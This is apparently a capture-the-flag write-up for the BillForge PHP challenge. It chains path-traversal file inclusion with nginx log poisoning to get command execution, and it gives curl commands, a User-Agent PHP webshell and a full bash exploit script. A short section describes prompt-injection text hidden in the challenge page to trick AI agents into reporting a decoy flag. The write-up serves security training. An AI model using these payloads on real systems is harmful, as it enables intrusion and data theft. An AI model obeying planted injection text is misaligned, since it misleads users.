BillForge — LFI to RCE via Nginx Log Poisoning
BillForge — LFI to RCE via Nginx Log Poisoning
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: environment_variable_exfiltration, lfi_to_rce_via_log_poisoning, nginx_access_log_inclusion, path_traversal_lfi, settings_template_path_abuse, user_agent_php_injection
Summary
Walkthrough of the CUSTOM Web BillForge — LFI to RCE via Nginx Log Poisoning. Task: PHP invoicing platform (BillForge v2.4.1) with admin settings allowing the public invoice template path to be changed, where the template is loaded via include() without sanitization. Solution:
Description
BillForge is an invoicing platform used by small businesses to manage clients, products, and invoices. Built by Ledger Systems Inc., it allows administrators to customize system settings including invoice template configuration and generate shareable public invoice links for clients. The platform features a full dashboard with revenue tracking, a client management system, a product catalog, and configurable invoice generation with public sharing capabilities. Your goal is to gain command execution on the server and retrieve the flag. Explore the admin panel thoroughly — pay close attention to how templates are loaded and rendered. Think about what files on the server might contain content you control.
English summary: A PHP 8.2 invoicing platform running on Alpine Linux with nginx/1.25.5 reverse proxy and SQLite backend. The admin settings page has a "Public Invoice Template" field that controls which file is loaded via PHP's include() when rendering public invoice pages. The template path is stored in the database and used without any sanitization or validation, creating a Local File Inclusion vulnerability. Combined with nginx log poisoning via User-Agent injection, this achieves Remote Code Execution. The flag is stored as a server environment variable.
Credentials: jamie@ledgersystems.com / password123
Tech Stack: PHP 8.2.26, nginx/1.25.5, SQLite 3.44.2, Alpine Linux, BillForge v2.4.1
Analysis
Reconnaissance
- Server: nginx/1.25.5 reverse proxy → PHP 8.2.26 on Alpine Linux
- Database: SQLite 3.44.2
- Credentials:
jamie@ledgersystems.com / password123 - Authenticated pages: Dashboard (
/), Invoices (/invoices), Clients (/clients), Products (/products), Settings (/settings) - Public invoice feature: Invoices can be toggled public via
/invoices/{id}/toggle-public, generating shareable URLs like/invoice/public/<hash>
Honeypot / Decoy Flag
The HTML source contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden <div> elements and HTML comments, along with prompt injection text attempting to trick AI agents into reporting it as the real flag. The name literally says "decoy not real trap for bots" — must be ignored.
Vulnerability: Template Path Injection via Settings
The /settings page contains an "Invoice Configuration" section with a field called "Public Invoice Template" (public_invoice_template). The default value is default.php and the form text says: "Template file used for rendering public invoice views. Located in the templates directory."
When a public invoice URL is accessed, the server does something like:
php read-only • copy allowed$template = get_setting('public_invoice_template'); // from database include("templates/" . $template); // NO SANITIZATION
Since the template path is stored in the database and controlled by the admin user, and there is no path validation or sanitization, this creates a classic Local File Inclusion vulnerability via path traversal.
LFI Confirmation
Changed public_invoice_template to ../../../etc/passwd via POST to /settings, then accessed the public invoice URL. The response rendered the contents of /etc/passwd, confirming Alpine Linux (users with /bin/ash shell) and arbitrary file inclusion.
Log File Discovery
Changed the template to ../../../var/log/nginx/access.log. The nginx access log was readable and contains User-Agent strings logged verbatim in the standard combined log format:
172.30.0.2 - - [12/May/2026:10:30:00 +0000] "GET / HTTP/1.1" 200 5432 "-" "Mozilla/5.0 ..."
This confirms both prerequisites for log poisoning:
- Log file is readable via LFI
- User-controlled data (User-Agent header) is written to the log without escaping
Solution
Step 1: Login and Enable Public Invoice Link
bash read-only • copy allowedTARGET="https://19160908-11d8-4a55-864f-a8be51dd8d13.labs.hackadvisor.io" # Login curl -s -c cookies.txt "$TARGET/login" \ -d "email=jamie@ledgersystems.com&password=password123" # Enable public link for invoice #1 curl -s -b cookies.txt -X POST "$TARGET/invoices/1/toggle-public"
This generates a shareable public URL like /invoice/public/a891bdbf770bdf20c232d36bbb06c31a.
Step 2: Change Template to Nginx Access Log (LFI)
Update the public_invoice_template setting to point to the nginx access log via path traversal:
bash read-only • copy allowedcurl -s -b cookies.txt "$TARGET/settings" -X POST \ -d "company_name=Ledger+Systems+Inc.&company_email=billing@ledgersystems.com&company_address=4200+Commerce+Blvd,+Suite+310&company_city=Austin&company_state=TX&company_zip=78701&company_phone=(512)+555-0100&payment_terms=Net+30¤cy=USD&tax_rate=10&bank_name=First+National+Bank&bank_account=****4821&bank_routing=****7390&invoice_prefix=INV&public_invoice_template=../../../var/log/nginx/access.log"
Now when the public invoice URL is accessed, PHP will include() the nginx access log instead of the default template.
Step 3: Poison the Nginx Access Log
Inject a PHP webshell into the User-Agent header:
bash read-only • copy allowedcurl -s "$TARGET/" -A "<?php system(\$_GET['cmd']); ?>"
This sends a request with the PHP payload as the User-Agent. Nginx logs the full User-Agent string into access.log, embedding executable PHP code in the log file.
CRITICAL: The PHP payload must use single quotes around $_GET['cmd']:
php read-only • copy allowed<?php system($_GET['cmd']); ?> // CORRECT — single quotes <?php system($_GET["cmd"]); ?> // BROKEN — nginx escapes " to \"
Nginx (like Apache) escapes double quotes in logged header values (" → \x22 or \"), which would cause a PHP parse error and permanently corrupt the log for inclusion purposes. Single quotes are NOT escaped, so the payload remains syntactically valid PHP.
Step 4: Trigger RCE and Read the Flag
Access the public invoice URL with a command parameter:
bash read-only • copy allowedcurl -s "$TARGET/invoice/public/a891bdbf770bdf20c232d36bbb06c31a?cmd=printenv+FLAG"
How it works:
- PHP's
include()loadsaccess.logas if it were a PHP file - Most of the log is plain text (output as-is by PHP)
- When PHP encounters the
<?phptag in the poisoned User-Agent field, it enters PHP mode system($_GET['cmd'])executes withcmd=printenv FLAG- The
printenv FLAGcommand reads theFLAGenvironment variable - The flag value
FLAG{REDACTED}appears in the HTTP response
Full Exploit Script
bash read-only • copy allowed#!/bin/bash TARGET="https://19160908-11d8-4a55-864f-a8be51dd8d13.labs.hackadvisor.io" # Step 1: Login echo "[*] Logging in..." curl -s -c cookies.txt "$TARGET/login" \ -d "email=jamie@ledgersystems.com&password=password123" -o /dev/null # Step 2: Enable public link for invoice #1 echo "[*] Enabling public invoice link..." curl -s -b cookies.txt -X POST "$TARGET/invoices/1/toggle-public" -o /dev/null # Step 3: Change template to nginx access log (LFI) echo "[*] Setting template to nginx access log..." curl -s -b cookies.txt "$TARGET/settings" -X POST \ -d "company_name=Ledger+Systems+Inc.&company_email=billing@ledgersystems.com&company_address=4200+Commerce+Blvd,+Suite+310&company_city=Austin&company_state=TX&company_zip=78701&company_phone=(512)+555-0100&payment_terms=Net+30¤cy=USD&tax_rate=10&bank_name=First+National+Bank&bank_account=****4821&bank_routing=****7390&invoice_prefix=INV&public_invoice_template=../../../var/log/nginx/access.log" -o /dev/null # Step 4: Poison the log with PHP webshell (SINGLE QUOTES!) echo "[*] Poisoning nginx access log..." curl -s "$TARGET/" -A "<?php system(\$_GET['cmd']); ?>" -o /dev/null # Step 5: Trigger RCE and read flag echo "[*] Extracting flag..." curl -s "$TARGET/invoice/public/a891bdbf770bdf20c232d36bbb06c31a?cmd=printenv+FLAG" | grep -oP 'FLAG\{[^}]+\}'
Key Takeaways / Lessons
- Mastering environment_variable_exfiltration, lfi_to_rce_via_log_poisoning, nginx_access_log_inclusion, path_traversal_lfi, settings_template_path_abuse, user_agent_php_injection was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-12 • CUSTOM • BillForge — LFI to RCE via Nginx Log Poisoning • Difficulty: Medium